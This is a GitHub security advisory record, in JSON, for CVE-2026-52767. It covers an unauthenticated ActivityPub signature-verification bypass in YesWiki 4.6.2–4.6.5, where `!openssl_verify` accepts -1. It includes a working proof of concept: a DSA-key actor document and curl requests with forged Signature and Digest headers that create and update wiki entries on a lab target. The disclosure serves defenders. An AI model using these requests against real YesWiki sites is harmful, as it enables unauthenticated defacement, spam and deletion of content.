{"id":"GHSA-mv28-wj57-f57g","summary":"YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`","details":"## Summary\n`HttpSignatureService::verifySignature()` checks the result of PHP's `openssl_verify()` with a **loose boolean negation** - `if (!openssl_verify(...)) { throw ... }`. PHP's `openssl_verify` has four possible return values:\n\n| return | meaning                                          | `!return` |\n| ------ | ------------------------------------------------ | --------- |\n| `1`    | signature is valid                               | `false`   |\n| `0`    | signature is invalid                             | `true` ✓  |\n| `-1`   | the verify call itself failed (internal error)   | **`false` ❌** |\n| `false`| input rejected by PHP's argument validation      | `true` ✓  |\n\nThe `-1` row is the bypass: PHP's truthiness rules make `-1` a truthy value, so `!(-1) === false`, the throw is skipped, and the controller proceeds to `processActivity()`. Any condition that makes OpenSSL's `EVP_VerifyFinal()` return `-1` triggers the bypass.\n\nThe two practical paths to `-1` we are aware of:\n\n1. **DSA / EC public key with an RSA-only algorithm.** `openssl_verify(..., $dsaKey, \"RSA-SHA256\")` returns `int(-1)` on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified `php:8.3-apache` lab and against any deployment using the runtime stack YesWiki's own docker image ships.\n2. **Older PHP + older OpenSSL** where any unrecognised digest name returned `-1` rather than `false`. The reporting research mentions this path; on current stacks `false` is returned instead and the throw fires correctly. The DSA path replaces it.\n\nThe reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.\n\n## Details\n### Affected component\n\n* **File:** `tools/bazar/services/HttpSignatureService.php`\n* **Method:** `HttpSignatureService::verifySignature(Request $request)`\n* **Sink:** line **130**\n\n```php\n// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD)\npublic function verifySignature(Request $request) {\n    ...                                                          // [Signature parse,\n                                                                 //  outbound key fetch — see the SSRF advisory]\n    $actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);\n    ...\n    if (!openssl_verify(                                         // (a) LOOSE BOOLEAN CHECK\n            join(\"\\n\", $sigParts),\n            base64_decode($sigConf['signature']),\n            $actorPublicKey,\n            strtoupper($sigConf['algorithm'])\n    )) {\n        throw new Exception('Signature verification failed');    // (b) skipped when openssl_verify == -1\n    }\n\n    if ($request-\u003eheaders-\u003eget('Digest') !== $this-\u003egetDigest($request-\u003egetContent())) {\n        throw new Exception('Digest mismatch');                  // (c) still enforced — easy to satisfy\n    }\n}\n```\n\nThe inbox controller calls `verifySignature()` and then runs `processActivity($activity, $form)`, which is what actually mutates state.\n\n### End-to-end attack chain\n\nA single unauthenticated POST per operation. No session, no CSRF, no real signature.\n\n1. **Stand up an actor document** that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape:\n\n    ```json\n    {\n      \"id\": \"\u003cexact URL the server will GET\u003e\",\n      \"publicKey\": {\n        \"id\": \"\u003csame URL\u003e\",\n        \"publicKeyPem\": \"\u003cDSA public key in PEM form\u003e\"\n      }\n    }\n    ```\n\n2. **Send a Create / Update / Delete activity** to `POST /api/forms/{enabled-form-id}/actor/inbox`:\n\n    ```http\n    POST /?api/forms/2/actor/inbox HTTP/1.1\n    Host: target.example\n    Content-Type: application/activity+json\n    Date: \u003cRFC1123 date\u003e\n    Digest: SHA-256=\u003cbase64(sha256(body))\u003e\n    Signature: keyId=\"\u003cactor URL\u003e\",algorithm=\"RSA-SHA256\",headers=\"(request-target) host date digest content-type\",signature=\"anVuaw==\"\n\n    {\"@context\":\"https://www.w3.org/ns/activitystreams\",\"type\":\"Create\",\n     \"actor\":\"\u003cactor URL\u003e\",\n     \"object\":{\"id\":\"\u003cunique object URI\u003e\",\"type\":\"Event\",\"name\":\"...\",\"startTime\":\"...\"}}\n    ```\n\n3. **YesWiki fetches the actor document** (line 96 - the SSRF; see sibling advisory), parses it, calls `openssl_get_publickey(...)` which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls `openssl_verify($data, \"junk-sig\", $dsaKey, \"RSA-SHA256\")`. EVP_VerifyFinal returns `-1`. The check `!openssl_verify(...)` evaluates to `false` and the throw is skipped.\n4. **`Digest` header is enforced**, but it's a simple `SHA-256=` of the body the attacker chose, so satisfying it costs one `sha256sum`.\n5. **`processActivity($activity, $form)` runs**: Create → `EntryManager::create()`, Update → `EntryManager::update()`, Delete → `EntryManager::delete()`. The triple store records the attacker's `object.id` as the source URL, which is how Update / Delete locate the entry on subsequent calls.\n\n## PoC\n### Pre Reqs\n\n* Yeswiki v4.6.5 lab image (Setup via podman)\n* ActivityPub enabled on the target form\n\nFor the rest of this document:\n\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\nKEYID=\"http://127.0.0.1:9999/actors/attacker\"\nFORM_ID=2\nMARKER=\"DEMO_$(date +%s)\"\n```\n\nPHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that `openssl_verify` returns `-1`.\n\n```bash\npodman exec \"$CTR\" php -r '\n    $pem = file_get_contents(\"/tmp/attacker_keys/dsa.pub\");\n    $key = openssl_get_publickey($pem);\n    $r   = openssl_verify(\"hello\", \"junk\", $key, \"RSA-SHA256\");\n    echo \"openssl_verify returned: \" . var_export($r, true) . \"\\n\";\n    echo \"!openssl_verify(...)  is: \" . var_export(!$r, true) . \"\\n\";\n'\n```\n\n**Expected output:**\n\n```\nopenssl_verify returned: -1\n!openssl_verify(...)  is: false\n```\n\nVerify the listener is up and serving the DSA-key actor\n\n```bash\npodman exec \"$CTR\" cat /tmp/ssrf_listener.pid\npodman exec \"$CTR\" ps -p $(podman exec \"$CTR\" cat /tmp/ssrf_listener.pid) -o stat=\npodman exec \"$CTR\" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo\n```\n\n**Expected output:** a PID, `S` (sleeping/alive), and a JSON document beginning with `{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"http://127.0.0.1:9999/actors/attacker\", ...` and a `publicKeyPem` field whose value starts with `-----BEGIN PUBLIC KEY-----\\nMIIB...` (the DSA key - note the `Bv` prefix typical of DSA-key DER, not the `Ij` of RSA).\n\nBuild a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an `Event` with `name`, `content`, `startTime`, `endTime`, `location.address.*`, etc.):\n\n```bash\nACTIVITY='{\n  \"@context\": \"https://www.w3.org/ns/activitystreams\",\n  \"type\": \"Create\",\n  \"id\":   \"http://127.0.0.1:9999/activity/c-'\"$MARKER\"'\",\n  \"actor\":\"'\"$KEYID\"'\",\n  \"object\": {\n    \"id\":   \"http://127.0.0.1:9999/objects/'\"$MARKER\"'\",\n    \"type\": \"Event\",\n    \"name\": \"'\"$MARKER\"' — created via the signature-verification bypass\",\n    \"content\": \"openssl_verify returned -1; YesWiki accepted us anyway\",\n    \"startTime\": \"2026-12-01T10:00:00Z\",\n    \"endTime\":   \"2026-12-01T12:00:00Z\"\n  }\n}'\n\n# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced\nDIGEST=\"SHA-256=$(printf '%s' \"$ACTIVITY\" | openssl dgst -sha256 -binary | base64)\"\nDATE=\"$(date -uR | sed 's/+0000/GMT/')\"\nSIG='keyId=\"'\"$KEYID\"'\",algorithm=\"RSA-SHA256\",headers=\"(request-target) host date digest content-type\",signature=\"anVuaw==\"'\n\ncurl -s -X POST \"${BASE}/?api/forms/${FORM_ID}/actor/inbox\" \\\n     -H \"Content-Type: application/activity+json\" \\\n     -H \"Date: ${DATE}\" \\\n     -H \"Digest: ${DIGEST}\" \\\n     -H \"Signature: ${SIG}\" \\\n     --data-raw \"$ACTIVITY\" \\\n     -w '\\n  HTTP %{http_code}\\n'\n```\n\nNow, try udating the entry via the same bypass\n\nThe triple store records `\u003ctag, sourceUrl, object.id\u003e` from the Create. An Update activity referencing the same `object.id` will look that up and rewrite the entry's body.\n\n```bash\nUPDATE_ACT='{\n  \"@context\": \"https://www.w3.org/ns/activitystreams\",\n  \"type\": \"Update\",\n  \"id\":   \"http://127.0.0.1:9999/activity/u-'\"$MARKER\"'\",\n  \"actor\":\"'\"$KEYID\"'\",\n  \"object\": {\n    \"id\":   \"http://127.0.0.1:9999/objects/'\"$MARKER\"'\",\n    \"type\": \"Event\",\n    \"name\": \"'\"$MARKER\"'_UPDATED — title was changed by an unauthenticated POST\",\n    \"content\": \"this row was modified via the SAME bypass\",\n    \"startTime\": \"2026-12-01T10:00:00Z\",\n    \"endTime\":   \"2026-12-01T12:00:00Z\"\n  }\n}'\nDIGEST=\"SHA-256=$(printf '%s' \"$UPDATE_ACT\" | openssl dgst -sha256 -binary | base64)\"\nDATE=\"$(date -uR | sed 's/+0000/GMT/')\"\n\ncurl -s -X POST \"${BASE}/?api/forms/${FORM_ID}/actor/inbox\" \\\n     -H \"Content-Type: application/activity+json\" \\\n     -H \"Date: ${DATE}\" \\\n     -H \"Digest: ${DIGEST}\" \\\n     -H \"Signature: ${SIG}\" \\\n     --data-raw \"$UPDATE_ACT\" \\\n     -w '  HTTP %{http_code}\\n'\n```\n\n**Expected output:** `HTTP 200`, empty body.\n\n## Impact\nCRUD on bazar entries of any ActivityPub-enabled form, **without authentication**:\n\n* **Create** - `EntryManager::create($form['bn_id_nature'], $entry, false, $object['id'])`. New row in `yeswiki_pages` and a triple `\u003ctag, sourceUrl, $object['id']\u003e` in `yeswiki_triples`.\n* **Update** - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.\n* **Delete** - same lookup, then `EntryManager::delete($tag, true)`.\n\nConcrete operational impact:\n\n* **Defacement / content injection** at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.\n* **Spam / SEO poisoning** through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.\n* **Erasure of legitimate federated content** - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its `object.id` discovered, and then deleted by replaying the chain with `type=Delete`.\n* **Triple-store pollution** - the `yeswiki_triples` table grows with attacker-controlled `sourceUrl` triples that survive entry deletion and can interfere with later federation flows.\n* **Reputation / federation poisoning** - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.","aliases":["CVE-2026-52767"],"modified":"2026-07-09T21:11:38.965863Z","published":"2026-07-09T20:58:12Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-347"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-07-09T20:58:12Z"},"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-mv28-wj57-f57g"},{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/commit/d1795e0301e1a1078f17b4b98f56fff70de2029e"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"affected":[{"package":{"name":"yeswiki/yeswiki","ecosystem":"Packagist","purl":"pkg:composer/yeswiki/yeswiki"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.6.2"},{"fixed":"4.6.6"}]}],"versions":["v4.6.2","v4.6.3","v4.6.4","v4.6.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-mv28-wj57-f57g/GHSA-mv28-wj57-f57g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L"}]}